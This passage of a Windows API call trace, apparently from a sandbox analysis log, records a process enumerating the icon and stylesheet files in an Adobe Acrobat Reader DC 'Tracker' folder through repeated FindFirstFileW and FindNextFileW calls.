ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.gif", cAlternateFileName="")) returned 1 [0108.934] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x0, cFileName="trash.gif", cAlternateFileName="")) returned 1 [0108.934] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInAcrobat.gif", cAlternateFileName="TURNOF~1.GIF")) returned 1 [0108.935] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInTray.gif", cAlternateFileName="TURNOF~2.GIF")) returned 1 [0108.935] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388e0edd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInAcrobat.gif", cAlternateFileName="TURNON~1.GIF")) returned 1 [0108.935] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInTray.gif", cAlternateFileName="TURNON~2.GIF")) returned 1 [0108.935] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 1 [0108.935] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0108.935] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0108.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0108.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0108.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0108.937] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker", lpFilePart=0x0) returned 0x3d [0108.937] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0108.938] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.938] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387172c5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1 [0108.938] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3873d518, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="bl.gif", cAlternateFileName="")) returned 1 [0108.939] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="br.gif", cAlternateFileName="")) returned 1 [0108.939] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="create_form.gif", cAlternateFileName="CREATE~1.GIF")) returned 1 [0108.939] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="distribute_form.gif", cAlternateFileName="DISTRI~1.GIF")) returned 1 [0108.939] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_all.gif", cAlternateFileName="EMAIL_~1.GIF")) returned 1 [0108.939] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_initiator.gif", cAlternateFileName="EMAIL_~2.GIF")) returned 1 [0108.940] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="ended_review_or_form.gif", cAlternateFileName="ENDED_~1.GIF")) returned 1 [0108.940] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="end_review.gif", cAlternateFileName="END_RE~1.GIF")) returned 1 [0108.940] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_distributed.gif", cAlternateFileName="FORMS_~1.GIF")) returned 1 [0108.940] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_received.gif", cAlternateFileName="FORMS_~2.GIF")) returned 1 [0108.940] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_super.gif", cAlternateFileName="FORMS_~3.GIF")) returned 1 [0108.940] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_responses.gif", cAlternateFileName="FORM_R~1.GIF")) returned 1 [0108.941] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.gif", cAlternateFileName="")) returned 1 [0108.941] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0108.941] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="open_original_form.gif", cAlternateFileName="OPEN_O~1.GIF")) returned 1 [0108.941] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdf.gif", cAlternateFileName="")) returned 1 [0108.942] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviewers.gif", cAlternateFileName="RE16B1~1.GIF")) returned 1 [0108.942] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_joined.gif", cAlternateFileName="RE99D5~1.GIF")) returned 1 [0108.942] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_sent.gif", cAlternateFileName="RECDE7~1.GIF")) returned 1 [0108.942] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_super.gif", cAlternateFileName="RE1558~1.GIF")) returned 1 [0108.942] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_browser.gif", cAlternateFileName="REVIEW~1.GIF")) returned 1 [0108.943] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_email.gif", cAlternateFileName="REVIEW~2.GIF")) returned 1 [0108.943] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_same_reviewers.gif", cAlternateFileName="REVIEW~3.GIF")) returned 1 [0108.943] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_shared.gif", cAlternateFileName="REVIEW~4.GIF")) returned 1 [0108.943] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss.gif", cAlternateFileName="")) returned 1 [0108.943] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_issue.gif", cAlternateFileName="SERVER~1.GIF")) returned 1 [0108.944] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_lg.gif", cAlternateFileName="SERVER~2.GIF")) returned 1 [0108.944] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_ok.gif", cAlternateFileName="SERVER~3.GIF")) returned 1 [0108.944] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop_collection_data.gif", cAlternateFileName="STOP_C~1.GIF")) returned 1 [0108.944] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x0, cFileName="submission_history.gif", cAlternateFileName="SUBMIS~1.GIF")) returned 1 [0108.944] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tl.gif", cAlternateFileName="")) returned 1 [0108.945] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.gif", cAlternateFileName="")) returned 1 [0108.945] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x0, cFileName="trash.gif", cAlternateFileName="")) returned 1 [0108.945] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInAcrobat.gif", cAlternateFileName="TURNOF~1.GIF")) returned 1 [0108.945] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x0, 